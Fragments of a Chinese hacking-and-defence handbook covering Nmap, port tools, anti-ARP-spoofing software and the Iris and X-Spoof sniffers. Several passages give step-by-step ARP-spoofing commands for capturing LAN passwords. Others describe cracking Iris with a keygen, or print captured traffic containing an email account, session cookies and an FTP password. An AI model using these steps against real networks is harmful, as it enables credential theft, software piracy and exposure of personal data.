    {"text": "黑客主要用Sniffer来捕获Telnet、FTP、POP3等数据包，因为这些协议以明文方式在网上传输，我们可以使用一种叫做SSH的安全协议来替代Telnet等容易被Sniffer攻击的协议。"},
    {"text": "6.1.5 嗅探工具 1.影音神探嗅探器 通常，网冲浪比较实用的“影音神探”软件，目前最新版本是 4.73，它的主要功能是“揪”出当前浏览的网页中所播放的电影或者图片等的真实地址，并可以直接下载。"},
    {"text": "2.Iris嗅探器 Iris 是网络流量分析监测工具，它可以帮助系统管理员轻易地捕获和查看用户的网络使用情况，可以同时检测到进入和发出的信息流，并自动进行存储和统计便于查看和管理。"},
    {"text": "6.1.6 反嗅探（欺骗）工具 攻击与防御是对立的，在嗅探程序为黑客的攻击提供更多方便的同时，反嗅探程序也应运而生，这些反嗅探工具多以使用方便而著称。 本小节将介绍两款反嗅探程序，它们分别是： 1.Anti ARP Sniffer “Anti ARP Sniffer”是网络管理员常用的反嗅探软件，前面我们介绍过，一些嗅探程序或者监听程序要先进行 ARP 欺骗再进行工作，所以这个工具在一定程度上可以起到很好的防御作用。"},
    {"text": "在图 6-2 所示的界面中在“网关地址”输入框中输入自己当前所在局域网的网关 IP地址，如图6-3所示。 图6-3 填写网关地址 ● 步骤3。 在图6-3所示的界面中单击“获取网关MAC地址”按钮，程序将自动填写网关的MAC地址，如图6-4和图6-5所示。 图6-4 获取网关MAC 地址（1） 图6-5 获取网关MAC 地址（2） ● 步骤4。"},
    {"text": "如果局域网中频繁地出现IP地址冲突，说明攻击者频繁发送ARP欺骗数据包，才会出现IP冲突的警告，在图6-7所示的界面中单击“防护地址冲突”按钮即可对其免疫。"},
    {"text": "在图6-7所示的界面中单击“自动防护”按钮，即可防范来自局域网中的ARP攻击，攻击记录将在程序下方显示。 通过上述6步的操作，Anti ARP Sniffer 已经开始防护工作了，它经常被各大网络管理员当作抵御ARP 攻击的利器，作为比较先进的ARP 攻击防护软件，Anti ARP Sniffer 能抵御大部分的利用ARP技术的恶意程序，能够发现异常并重写ARP数据；"},
    {"text": "较为先进的ARP 数据修复功能，可以使网络不会因为种种原因中断； 因为其强大的抵御ARP欺骗的能力，能保护当前的通信不会被第三方监听嗅探。"},
    {"text": "新颖的内核拦截技术，使本机运行速度不受任何影响并且还能防止恶意攻击程序篡改本机 ARP 缓存，所以它可以很好地解决局域网内ARP攻击问题。"},
    {"text": "图6-9 安装程序 图6-10 检查危险 图6-11 安装界面（1） ● 步骤2。 在图6-11所示的界面中单击“下一步”按钮，继续安装，进入图10-12所示的安装界面。 图6-12 安装界面（2） ● 步骤3。"},
    {"text": "单击“浏览”按钮选择安装路径之后单击“安装”按钮开始安装，如图10-14所示。 图6-13 安装界面（3） 图6-14 开始安装界面 ● 步骤4。 安装完成之后，弹出如图6-15所示的界面。 选择“开启主要实时保护”按钮即可安装完成，如图6-16所示，之后单击“完成”按钮结束安装。"},
    {"text": "图6-15 安装界面（4） 图6-16 安装完成界面 ② 使用360 ARP 防火墙 上面介绍了“360安全卫士”的安装过程，下面详细为读者介绍其ARP防火墙的使用方法。"},
    {"text": "单击“添加保护网关IP/MAC”，在弹出的对话框中单击“添加网关”按钮即可进行手动添加，如图6-25所示。 图6-24 查看绑定状态 图6-25 添加网关 ● 步骤7。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第4章 常用的多功能扫描器 黑客常用的扫描器种类繁多，除端口扫描器外，还有很多具有破解、版本探测、漏洞分析等综合功能的扫描器。本章介绍几款在黑客界享有盛名，且目前仍具有强大实用价值的多功能扫描器，黑客使用这些扫描器可以对目标主机进行全方位地探测，也即通常所称的踩点。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.7 Fport本地端口查看器——详查本机所开放的端口 与超速本机端口扫描器相比，Foundstone 开发的一款本机端口查看器 Fport 可以方便地看到本机所开放的端口。Fport可在Windows系列主机中运行，可在Foundstone网站下载，地址为：http://www.foundstone.com/us/resources/proddesc/fport.htm。 下载的Fport本地端口查看器为ZIP压缩包，无需安装，解压后直接运行即可。 不加任何参数，在命令行下运行Fport就可以显示主机所开放的端口。进程信息、进程PID、连接协议、所调用程序路径，相当于命令行下netstat-an和netstat-vb结果的结合，如图3-31所示。 图3-31中可以清楚地看到本机开放了哪些端口，这些端口涉及的程序也一目了然，对于安全人员进行安全性分析有较大帮助。这款软件与“netstat -vb”命令相比，速度很快。由于“netstat -vb”命令需要分析程序所调用的动态链接库，所以速度较慢。在不需要对程序信息了解太详细时，这款Fport是安全人员在分析本机端口信息时的最佳选择。 图3-31 Fport运行结果 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.8 安全卫士360本地漏洞扫描 黑客要对目标主机进行攻击，除需利用木马这一载体外，还需利用目标主机本身存在的漏洞，使用最多的则是微软 Windows 系统及其所带的其他应用软件的漏洞，这通常包括系统漏洞、IE浏览器漏洞、Office系列软件漏洞等。 黑客利用这些漏洞攻击他人，您的对手也是利用这些漏洞来进行攻击的，因此需及时对您自己主机的漏洞打补丁。能够对本地漏洞进行扫描的扫描器有很多，除上面介绍的木马清道夫外，还有瑞星漏洞扫描器等。 笔者推荐的安全卫士360是一款免费安全软件，其功能强大，有查杀流行木马、修复系统漏洞、清理使用痕迹、清理恶评软件、管理应用软件、系统维护及查看、系统实时保护等功能，可在 http://www.360safe.com/自由下载。修复系统漏洞软件采用的是一种首先对系统漏洞情况进行扫描，然后对未安装的补丁到微软网站下载的策略。 下载安全卫士 360，进行安装后，选择“常用”→“修复系统漏洞”标签，软件自动对本机漏洞进行扫描，界面如图5-21所示。 图5-21 “修复系统漏洞”界面 安全卫士360的“修复系统漏洞”包括检查系统漏洞补丁情况、guest账号情况、管理员账号密码情况、杀毒软件及升级情况、防火墙是否打开、是否显示上一次登录账户名、共享资源情况、是否允许远程桌面、U盘免疫情况等。因微软升级策略的原因，安全卫士360不提供MS Office 的自动升级，漏洞补丁只能到微软官方网站下载。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.1 Nmap扫描器——扫描器中的极品 如果要在免费扫描器中选出一款最好的，多数专业人士会选择名为Nmap的扫描器。"},
    {"text": "Nmap是Insecure.org根据GPL许可证协议免费提供的，开始时Nmap只提供对UNIX版本的支持，目前已能运行在现有的任何操作系统上，从微软的Windows到您喜欢的Linux/UNIX操作系统都可以。 Nmap是扫描器中的极品，被黑客称为扫描器之王，可以从http://www.insecure.org/进行下载，最新版本为4.53。 早期官方提供的Nmap为命令行版本，目前，insecure.org除提供命令行版本外，也提供GUI版本的Nmap V4.53。"},
    {"text": "Nmap 主要被设计用来扫描网络中有哪些主机及这些主机开放了哪些服务，如果仅仅是这些，Nmap不会得到如此高的评价。 Nmap不仅提供了基于多种协议、多种方式的扫描，而且还具有扫描速度快、对操作系统的识别准确率高并能进行秘密扫描等许多特性，这才是Nmap得到如此多荣誉的关键所在。 3.1.1 Nmap 扫描器的安装 Nmap 用到 Windows 包捕获库“WinPcap”驱动程序，WinPcap 是一套免费的、基于Windows 的网络接口 API，其作用是帮助调用程序（即这里的 Nmap）捕获通过网卡传输的原始数据。"},
    {"text": "目前，WinPcap 发布的最新正式版为4.02，可在http://www.winpc ap.org/下载。 WinPcap安装程序为可执行程序，双击即可安装，如图3-1所示。"},
    {"text": "使用命令行版本的Nmap时，需单独安装WinPcap，使用GUI版本的Nmap时，最新版的WinPcap已经集成在Nmap安装包中，无需单独安装。 图3-1 WinPcap 安装界面 图3-2 WinPcap 许可协议安装界面 （3）Nmap V4.53 Win32命令行版本无需安装，直接将下载的ZIP 压缩包解压即可。 GUI版本的Nmap需安装后使用，运行安装程序，弹出许可协议对话框，如图3-3所示。"},
    {"text": "（5）软件安装过程中默认全部选择，如果主机中没有安装 WinPcap，即可全部选择。 单击“Next”按钮，弹出选择安装位置对话框，开始进行路径设置，一般选择默认即可。"},
    {"text": "单击“Install”按钮进行安装，安装完成即可开始使用GUI 版Nmap V4.53。 图3-3 Nmap 安装对话框 图3-4 组件安装选择对话框 3.1.2 Nmap 扫描器的使用 运行安装好的Nmap - ZeNmap GUI，弹出如图3-5所示的Nmap 主界面。 由图3-5 可知，GUI 版Nmap 的使用有两种方式，一种是单击“New Scan”按纽，或直接在主界面中“untitled_scan1”“Target”所对应的下拉列表框中输入待扫描的 IP 地址，在“Profile”后的下拉列表中进行扫描方式的选择。 GUI版的Nmap的扫描方式可分为8类，分别为 Intense Scan、Operating System Detection、Quick Full version Detection Scan、Quick Operating System detection、Quick Scan、Quick Services version detection、Quick and verbose;scan、Regular Scan。"},
    {"text": "图3-5 Nmap 主界面 另一种方式是单击“Command Wizard”工具按钮，进行向导式设置，如图3-6 所示。 图3-6 Nmap 使用界面 在图3-6所示设置项中，有两个单选按钮“Novice”（新手）和“Expert”（专家），对不同的用户可分别进行选择。 使用Nmap进行扫描的多数为专家级用户，按照扫描意图一步步进行向导式设置即可。 GUI版的Nmap使用较为简单，如果对Nmap的参数有较深的理解，使用起来将更为方便。 要对Nmap进行详细设置，首先需要理解Nmap参数所对应的含义，下面就以命令行为例，对Nmap的参数进行介绍。 进入微软命令控制台，在Nmap命令行版本目录下不带任何参数地运行Nmap，显示Nmap用法如图3-7所示。 图3-7 Nmap 用法 提示：进入命令控制台有多种方法，可以在Windows下单击“开始”→“运行”，打开“运行”对话框，输入cmd，单击“确定”按钮，则打开命令控制台。 也可以利用Windows下的快捷方式，用Windows键+R打开“运行”对话框，然后输入cmd，打开命令控制台。"},
    {"text": "这些模块包括扫描目标说明、主机发现选项说明、操作系统探测、端口扫描技术、端口扫描说明、服务和版本探测、隐藏扫描、其他选项说明8个部分。"},
    {"text": "首先需要说明的是，由于Nmap的最初用户为UNIX系统下的用户，而UNIX对大小写敏感，Nmap的参数因此也对大小写敏感，为保持其参数功能的连续性，Nmap两个版本的参数都对大小写敏感。"},
    {"text": "1.扫描目标说明 在命令行方式下，Nmap对目标的说明有从列表输入和随机选择两种方式。 第一种方式： -iL：-iL <inputfilename> （从列表中输入） 从inputfilename文件中读取目标说明，文件中每一项以一个或多个空格、制表符或换行符分开，列表中的项可以是Nmap在命令行上接受的任何格式（IP地址、主机名、CIDR、IPv6，或者8位字节范围）。"},
    {"text": "第二种方式： -iR <hostnum> （随机选择目标） 对于网络安全研究人员，有时需要在整个 Internet 范围内进行调查研究，需随机选择扫描目标，就可以选择这种方式。"},
    {"text": "--exclude <host1[，host2][，host3]，...> （排除主机/网络） 这个参数需与-iR 结合使用，当待扫描的网络中，包含已经了解或因其他原因需排除的目标时，这一方式非常有用。"},
    {"text": "--excludefile <excludefile> （排除文件中的列表） 这一方式与上一方式的功能和使用方法一样，需与-iR 结合使用，不同的是排除的目标存储在文件中，适用于待排除目标较多的情况。"},
    {"text": "-sP选项在默认情况下，发送一个ICMP回应请求和一个TCP报文到80端口，该选项告诉Nmap仅仅进行Ping扫描（主机发现），然后打印出对扫描做出响应的那些主机。"},
    {"text": "部分防火墙默认设置对Ping扫描不响应，默认情况下Nmap只对在线的主机进行扫描，因此通常在Nmap进行高强度的扫描时用它确定正在运行的机器。"},
    {"text": "3.操作系统探测 Nmap对操作系统的探测是其非常著名的功能之一，Nmap利用TCP/IP协议栈fingerprinting进行远程操作系统探测，发送一系列TCP和UDP报文到远程主机，检查响应中的每一个比特。 在进行大量测试，如TCP ISN 采样、TCP 选项支持和排序、IPID 采样，以及初始窗口大小检查之后，Nmap 把结果和数据库 Nmap-os-fingerprints 中超过 1 500 个已知的操作系统的fingerprints进行比较，如果有匹配，就打印出操作系统的详细信息。 Nmap对操作系统的检测参数主要有下面几个。"},
    {"text": "即如果不能检测出操作系统，而至少发现了一个端口，这时如果确知操作系统，就可以把指纹提供给Nmap提供的一个URL，以方便其他Nmap用户使用。"},
    {"text": "4.端口扫描技术 Nmap支持十几种端口扫描技术，除UDP扫描和TCP扫描共同使用外，一般一次只使用一种扫描技术。 默认情况下，Nmap执行SYN扫描，但如果用户没有权限发送原始报文（在UNIX上需要root权限）或者如果指定的是IPv6目标，Nmap调用connect()扫描。 Nmap支持的端口扫描技术如下所示。"},
    {"text": "-sS（TCP SYN 扫描）、-sT（TCP connect()扫描）、-sU（UDP 扫描）、-sN; -sF; -sX（TCP Null， FIN 和Xmas 扫描）、-sA（TCP ACK 扫描）、-sW（TCP 窗口扫描）、-sM（TCP Maimon 扫描）、--scanflags（定制的TCP扫描）、-sI<zombie host[:probeport]>（Idlescan）、-sO（IP 协议扫描）、-b <ftp relay host>（FTP 弹跳扫描）。"},
    {"text": "5.端口扫描说明 默认情况下，Nmap 用指定的协议对端口1～1 024以及Nmap-services文件中列出的更高的端口进行扫描。 Nmap 还提供选项说明哪些端口被扫描以及扫描是随机还是顺序进行。"},
    {"text": "（1）-p <port ranges>（只扫描指定的端口）。 该选项说明待扫描的端口，扫描端口可以是单个端口，也可以是一个范围，如1～65 535，当扫描多个指定端口时，端口之间用“，”隔开。"},
    {"text": "使用-F 选项默认扫描Nmap-services 库指定的1 200多个TCP端口，还可以用--datadir选项指定自己的Nmap-services文件，这时，扫描速度与默认扫描速度存在惊人的差别。"},
    {"text": "普通端口扫描器只能根据开放的端口确认服务类型，而Nmap端口服务扫描功能远不止此，Nmap 不仅扫描端口，而且根据该端口返回的指纹信息，来确定服务类型，Nmap 的Nmap-services数据库包含服务信息达2 200 种之多。 与操作系统扫描一样，如果收到响应，但数据库中找不到匹配，在确认端口运行的服务后，可以向 Nmap 开发者提交请求。"},
    {"text": "在某些情况下，Nmap 可能无法确定您的源地址，如主机设置了几个地址，在扫描时无法确定使用哪个地址，此时，可使用-S选项并说明所需发送包的接口IP地址。"},
    {"text": "如果参数不是0或十六进制字符串，Nmap将通过Nmap-mac-prefixes查找厂商的名称（大小写区分），如果找到匹配，Nmap将使用厂商的OUI（3字节前缀），然后随机填充剩余的3个字节。"},
    {"text": "8.其他选项 虽然IPv6至今还未得到广泛应用，Nmap在2002年就开始提供对IPv6主要特征的扫描支持，Ping扫描（TCP-only）、连接扫描以及版本检测都支持IPv6。 扫描时除必须用IPv6地址外，需增加“−6”选项，这样才能对IPv6地址进行探测，其他命令语法相同。"},
    {"text": "（7）-resume <filename>（继续中断的扫描）：如果标准扫描（-oN）或Grep 扫描（-oG）日志被保留，用户可以要求Nmap恢复终止的扫描。 只需要简单地使用选项--resume并说明标准/Grep扫描输出文件，不允许使用其他参数，Nmap会解析输出文件并使用原来的格式输出。 使用方式如Nmap -resume logfilename。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.9 网络端口扫描命令 如果要对小范围的某些端口进行扫描，在没有扫描器的情况下，完全可以用命令实现，不过前提是要懂得简单的批处理命令。 用批处理命令进行扫描，实际调用的是系统自带的Telnet工具，由于Telnet需要运行在交互环境下，因此需要在本机进行扫描才能保证成功。通过其他方式获得的shell，由于不能保证是交互shell，有时不能使用这种方法。 如果要对某个地址的3389端口进行探测，命令非常简单，用 telnet IP 3389 如果目标端口开放，会进入交互状态，返回某些信息或虽不返回信息，但Telnet窗口明确已经连接成功。 如要对某个C类网段进行扫描，探测开放3389端口的主机，可利用以下批处理命令实现： for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389 在上述命令中，start表示用来调用外部程序，所有的dos命令和命令行程序都可以由start来调用，Telnet自然也不例外。 /min参数表示开始时窗口最小化。 /low参数表示在low优先级别开始应用程序。 运行上述批处理命令后，开放3389端口的主机会显示连接成功，通过观察连接成功的窗口可以看到目标IP地址。 如果要对某台主机1～65 535 端口进行扫描，可以用以下批处理命令实现： for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第1章 网络安全概述 随着网络的不断发展，全球信息化已成为人类发展的必然趋势。但由于计算机网络具有开放性、互连性等特征，致使Internet用户易受到黑客（hacker）等不法人员的攻击，使得网上信息的安全性和保密性已成为一个至关重要的问题。 随着人们越来越依赖于计算机进行工作，网络安全也越来越受到人们的关注，在世界各个国家的网络不断受到黑客攻击的同时，信息安全技术也得到了突飞猛进的发展。面对信息安全的严峻形势，在网络安全成为普遍问题的情况下，如何保护自己的主机免受黑客的侵犯，已成为每一位网络用户的首要任务。因此，对网络安全有一个较全面的了解显得尤为重要。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 6.3 Iris嗅探器——功能强大的嗅探工具 6.3.1 Iris 嗅探器的安装 嗅探器是一把双刃剑，如果到了黑客的手里，自然成了《指环王》里无恶不作的魔戒，但如果到了系统管理员的手里，则能帮助他监控异常网络流量，从而更好地管理网络。"},
    {"text": "但是在计算机网络中，传输的信息，包括E-mail密码、FTP密码、论坛密码等都可能遭受监听，使网络隐私毫无秘密可言，这同样是一件恐怖的事情。"},
    {"text": "Iris嗅探器是一款功能强大的嗅探工具，掌握Iris嗅探器的用法，可以帮助系统管理员轻易地捕获和查看用户的使用情况，可以同时检测到进入和发出的信息流。"},
    {"text": "单击“Next”按钮，进入图6-51所示的界面，单击“Browse”按钮选择安装路径，如图6-52所示，单击“OK”按钮确定。 图6-50 安装界面（2） 图6-51 安装界面（3） ● 步骤4。 在图6-51所示的界面中单击“Next”按钮继续安装，如图6-53所示。 在此步骤中需要选择是否备份文件，单击“Browse”按钮选择安装路径，如图6-54所示，单击“OK”按钮确定。 图6-52 选择安装路径 图6-53 安装界面（4） ● 步骤5。 在图6-53所示的界面中单击“Next”按钮继续安装，如图6-55所示。 继续单击“Next”按钮开始安装，如图6-56所示，安装完成如图6-57所示。 图6-54 选择备份路径 图6-55 安装界面（5） 图6-56 开始安装界面 图6-57 安装完成界面 ● 步骤6。"},
    {"text": "2.注册Iris嗅探器 通过上面6步操作，Iris已经成功地安装在用户的计算机中，由于Iris是一款收费注册的软件，所以安装完成之后还需要对其进行破解，操作步骤如下。"},
    {"text": "双击直接运行程序安装目录中的破解程序“keygen.exe”，如图 6-58 所示，其界面如图6-59所示。 图6-58 破解程序 图6-59 破解程序主界面 ● 步骤2。"},
    {"text": "图6-60 Iris 嗅探器主程序 图6-61 “Settings”对话框 ● 步骤2。 在图6-61所示的界面中单击“确定”按钮完成设置，弹出Iris主界面，如图6-62所示。"},
    {"text": "图6-62 Iris 主界面 首先需要说明的是，如果想利用 Iris 在局域网中获取信息，Iris 的主机必须和被监听的主机在一个以太网段（否则就不会称之为局域网），如果Iris主机在外部网，就无法发挥其作用。"},
    {"text": "下面依次介绍 Iris 工具的各项功能，这样才能让我们在后面的使用中更加方便。 在图6-62的Iris主界面中，可以看到图中左边罗列了各种类型的功能，包括Iris、statistics和Link等，下面分别介绍其各个部分的功能。 Iris栏下主要功能分别介绍如下。"},
    {"text": "在图6-62所示的Iris嗅探器主界面中，依次单击菜单“tools”→“Settings”，或者直接按“Ctrl+T”组合键将弹出“设置”对话框，如图6-63所示。 图6-63 Iris 的设置对话框 在图中可以看到 Capture（捕获）栏下包含：Run continuousl、Stop capture after filling buffer、Load this filter at startup 等选项，看上去非常繁杂，下面是对这些选项的说明。"},
    {"text": "● Run continuousl：当存储数据缓冲区不足时，Iris 将覆盖原有的数据包。 ● Stop capture after filling buffer：当存储数据缓冲区不足时，Iris 将停止对数据包的截获，同时停止记录。"},
    {"text": "● Stop when free disk space drops：当磁盘空间低于指定值时，Iris将会停止捕获和记录数据。 ● Enable CPU overload protection：当CPU 的占用率连续4s 达到100%时，Iris 会停止工作，等到恢复正常后才开始记录。"},
    {"text": "按“Ctrl+B”组合键调出地址簿（Address book），然后单击左下方的放大镜图标，如图6-64所示，通过双击相应的计算机，打开计算机的属性，比如IP地址、mac信息等。 黑客可以手动分配给该计算机一个IP地址，还可以设置一个颜色来高亮显示，如图6-65所示，稍等片刻之后，能嗅探到的目标计算机就会显示在对话框中的表格里了。 图6-64 单击左下角的放大镜图标 图6-65 配置计算机的属性 ● 步骤6。"},
    {"text": "单击菜单“filters”→“edit filters”进入过滤设置对话框，或者按“Ctrl+E”组合键直接弹出该对话框，如图6-66所示。 图6-66 “过滤设置”对话框 ● 在上图中的 Hardware filter 里（硬件过滤器）设置网卡信息，详细功能选项介绍如下。"},
    {"text": "列表下面有 ALL和ANY两个选项。 注意：ANY选项和ALL选项的区别： ANY 选项表示数据包至少要匹配列表中的一个关键字符，而 ALL 选项是指所有列表中的数据都要匹配才会显示出来。"},
    {"text": "在图6-71所示的界面右下方可以看到如下详细信息： GET /webmail/uud/hermes_web.jsp HTTP/1.1 Host: hermes.webmail.21cn.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai n;q=0.8,image/png,*/*;q=0.5 Accept-Language: zh-cn,zh;q=0.5Accept-Encoding: gzip,deflate Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.21cn.com/ Cookie: uud.errormessage=null; uud.username=null; uud.recommender=null; UUD.REG_CSS_URL=fa5a262b4223d143bad2f5bf4b3f18f05d74cf31e601a1fac4cfbae96c37fcf fbd907fb5a111e185; UUD.REG_RETURN_URL=da8a8630fe215a9b60c5c69bc92201107aeb6cf3624a73be; textimage=8176; UserName=29f0920367a64e42537f8af5cea7095986b2aeae4307d342; sendsmsonce=b97ccd2de43c44f2; uud.reg.21cnemail=3e42402f3cb84f62; Password=d8afc46e9f05c971; IP=d72f227e0ecf8c1ea4a3cd328c26dab8; SSONKEY=29f0920367a64e42537f8af5cea70959390cbe86328578fa9afa6ffc2fa5463e4c9a6fc 50104df1346f279d16415f899a2b154dc0e4ec4b8007eb8c77938c4a89afaa041f552a6600a6557 ee61d6de73fa9487535b381d2a88babad8a52d23aa51ef9cbf2a3aa623ae5daa38d3ea509ba0441 f22e5054a6d8da5edf898f04d6cda135dab8e5fa26e70a59559e5cf040954756da0b8e90c00; uud.reg.regtype=3e42402f3cb84f62; SESSION_ID=000000706796464-20070922130304345166-001;ACCOUNT=kenan2677@21cn.com;JSESSIONID= awCboQ8zKO_g;VERIFY_LOGON=3809072cf8a1dab7237b7e70378312c7;UUD.MOD_CSS_URL=8585715cb3e6f4260bc664 c359c5abcbe07063fd5251f307fe4ba289cfa8819aa44c99ec70d23d7292904711255acc6bd26c35c7ad3df0c75cf786dfd 8bd58f7026e689ff4da10bdc51cdf643fcb7d8c HTTP/1.1 200 OK Server: Resin/2.1.16 Set-Cookie: SESSION_ID=000000528468912-20070922144444605866-001;domain=.21cn.com; path=/ Set-Cookie: ACCOUNT=kenan2677@21cn.com; domain=.21cn.com; path=/ Content-Type: text/html;charset=ISO8859_1 Content-Length: 178 Date: Sat, 22 Sep 2007 14:44:44 GMT 以上这些数据就是刚才被捕获的数据包中的详细内容，读者可以发现这些杂乱无章的数据内容没有什么特别的地方，我们并不需要全部看懂这里所有的内容。"},
    {"text": "但是，黑客需要的敏感内容已经包含在此数据包中了，以下是详细信息： UserName=29f0920367a64e42537f8af5cea7095986b2aeae4307d342 Password=d8afc46e9f05c971 这就是邮箱的登录账号和密码。"},
    {"text": "2.Iris对FTP密码的嗅探 上面介绍了对局域网中Mail 账号和密码的嗅探，下面将为读者介绍的是对FTP账号和密码的嗅探，在黑客对服务器的入侵中，这是不可缺少的一个步骤。"},
    {"text": "在图6-72所示界面的右下方显示数据包内容如下： USER zou*** 331 User name okay, need password. PASS 123456789 230 User logged in, proceed. opts utf8 on 501 Invalid option. syst 215 UNIX Type: L8 site help 501 SITE option not supported. 257 \"/\" is current directory. TYPE A 200 Type set to A. PASV 227 Entering Passive Mode (59,36,96,54,19,211) LIST 150 Opening ASCII mode data connection for /bin/ls. 226-Maximum disk quota limited to 51200 kBytes Used disk quota 2009 kBytes, available 49190 kBytes 226 Transfer complete. noop 200 Command okay. CWD /wwwroot/ 250 Directory changed to /wwwroot TYPE A 200 Type set to A. PASV 227 Entering Passive Mode (59,36,96,54,19,212) LIST 150 Opening ASCII mode data connection for /bin/ls. 226-Maximum disk quota limited to 51200 kBytes Used disk quota 2009 kBytes, available 49190 kBytes 226 Transfer complete. PWD 同样只需要看主要部分，也就是 FTP 账号和密码信息，其中，USER zou***，PASS123456789就是黑客所希望得到的；"},
    {"text": "6.3.3 Iris 嗅探的防御 作为一名网络管理员，为了预防内部网络的安全，首先要做好整体的安全规划，以防止Iris等嗅探软件在内部网中嗅探重要信息，可以利用以下几种方法。"},
    {"text": "（3）加密方式的数据传输 很多嗅探工具都是用来截获没有进行加密的信息的，比如上面所介绍到的对FTP账号和密码的捕获。 需要注意的是（办公类的用户），在进行数据传输时尽可能地使用加密方式进行，这样可以让黑客无法抓包后进行信息的直接窃密。"},
    {"text": "例如，当单位内部的新闻服务器被黑客入侵之后，当黑客使用了类似的嗅探器之后，并不能获取处于另外一个子网的计算机（如财务部门、资料管理等部门）中的信息。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 7.5 X –Spoof嗅探器——小巧方便的嗅探工具 7.5.1 X -Spoof 嗅探器简介 X-Spoof嗅探器是一款小巧方便的工具，不到1MB大小，不需要安装，是基于命令行操作的工具。在黑客的入侵中如果直接在远程机器上操作是很危险的，容易被对方管理员发现，而基于命令行操作的工具就不同了，可以在本地机器上执行命令，隐藏得比较深，不容易被发现。 X -Spoof必须在内部网络中使用。使用此工具可以嗅探到黑客感兴趣的信息，比如局域网中的80端口、21端口以及Telnet的23端口的用户名和密码，甚至还可以嗅探到一台内部机器连接到其他共享计算机上所使用的账号和口令。如此小的工具却拥有如此强大的功能令我们叹为观止，下面就来领略一下X -Spoof的强大功能吧。 7.5.2 X -Spoof 嗅探器的使用方法 X –Spoof嗅探器无需安装，直接使用即可，使用方法如下。 ● 步骤1。 双击打开目录下的cmd.cmd，就会直接打开CMD命令提示符窗口，如图7-95和图7-96所示。首次运行X-Spoof，它会热情地列出各个参数的使用信息，如图7-97所示。 图7-95 运行cmd.cmd 文件界面 图7-96 X –Spoof 使用前的准备 图7-97 帮助信息 这里将各个参数的使用方法列举如下。 ● -l：list all local network interface：查看本机网络接口。 ● -f： find all mac address：枚举局域网内所有机器的IP-MAC 信息（需要配合“-i”参数设置正确的网络接口）。 ● -i <if_number>：set local network interface：指定网络接口。 ● -p <pass_log_file> [smb_log_file]: turn on packet sniffer and log the passwordto file：嗅探 FTP/HTTP/POP3/SMTP 密码、TELNET 会话内容并记录到 pass_log_file。若指定了smb_log_file参数，将同时记录139/445端口的SMB/CIFS协议中与登录认证、共享资源访问相关的数据报至smb_log_file（兼容libpcap/tcpdump格式）。 ● -s: start arp spoof: 开始ARP 欺骗（需要配合“-i”参数设置正确的网络接口）。 ● -r: restore arp table of all target：恢复被欺骗主机的ARP 表（需要配合“-i”参数设置正确的网络接口）。 ● -c <config_file>: specify the config file：由配置文件读取默认服务端口及ARP 欺骗列表，默认配置文件名为“xspoof.ini”。 ● 步骤2。 从上面的参数使用方法可以看出，所有的命令都需要配合“-i”参数设置正确的网络接口。也就是说，如果机器上装有两块或者多块网卡，我们需要选择准备嗅探的计算机所在的子网对应的网卡，否则就会出现信息嗅探不准确等意外情况。通过上面的介绍，我们输入命令xspoof -l，列举出本地计算机拥有的所有网络接口，如图7-98 所示。 图7-98 列举本地计算机的网卡信息 ● 步骤3。 通过上图命令的显示情况，我们可以看到标号为2的网络接口的IP地址等信息。下面使用“-f”参数继续查找和我们同处一网段中的其他在线机器的IP地址和MAC地址信息。上面提到需要配合“-i”参数使用，输入xspoof -f -i 2，意思就是把网络接口设置在标号为2 的网卡上，命令执行情况如图7-99所示。 图7-99 设置网络接口到指定网卡 通过命令的显示，得知局域网中除了网关和本机以外有3台机器在线，并且列举了IP地址和MAC地址，这一步是必须的，后面介绍的嗅探以及ARP欺骗是以这一步为基础进行的。 ● 步骤4。 将上面得到的IP地址和MAC地址等信息复制到目录下的xspoof.ini配置文件中，必须一一对应，格式不正确将导致后面的工作无法进行。ARP 欺骗列表，每条规则为一条单向欺骗规则。假设A、B为局域网内正常机器，C为嗅探机器，原数据报路径为A→B，欺骗后路径为 A→C→B，欲嗅探两台机器间的双向通信数据，需要添加两条规则，如果我们在ARP欺骗列表中添加192.168.1.256，192.168.1.101这一条规则，那么我们只能嗅探到192.168.1.256通向192.168.1.101的信息，而嗅探不到192.168.1.101到192.168.1.256的信息；如果我们想双向嗅探的话，必须再添加一条相反的规则，如图7-100所示。 ● 步骤5。 清楚上面介绍的规则和用法后，下面就开始 ARP 欺骗了。输入命令 xspoof -i 2 -s -ppass.log，意思是设置网络接口为2，开始ARP欺骗，并开始嗅探，如图7-101所示。 图7-100 方向规则设置界面 图7-101 开始进行ARP 欺骗 嗅探了一段时间之后，我们在目录下面找到名为 pass.log 的文件，打开该文件发现里面记录着80端口、21端口以及Telnet的23端口的用户名和密码。 下面以实战的方式帮助读者理解其嗅探功能。 1.共享密码的嗅探 输入命令xspoof -i 2 -s smb_log_file text.log，如图7-102，该命令可以嗅探到一台主机访问另一台开启了共享的主机的账号和密码，以及共享文件夹中包含的文件等重要信息。 2.恢复ARP列表 因为上述这些嗅探都是基于 ARP 欺骗的，所以在测试完成以后，需要恢复欺骗主机的ARP列表，如图7-103所示。 图7-102 捕获数据 图7-103 恢复目标主机的ARP 列表 如果说X-Spoof嗅探器让局域网中任何人攻击成为可能的话，那么Zxarps嗅探器则让我们在局域网中同时攻击所有人成为了现实。下面对Zxarps嗅探器进行介绍。"},
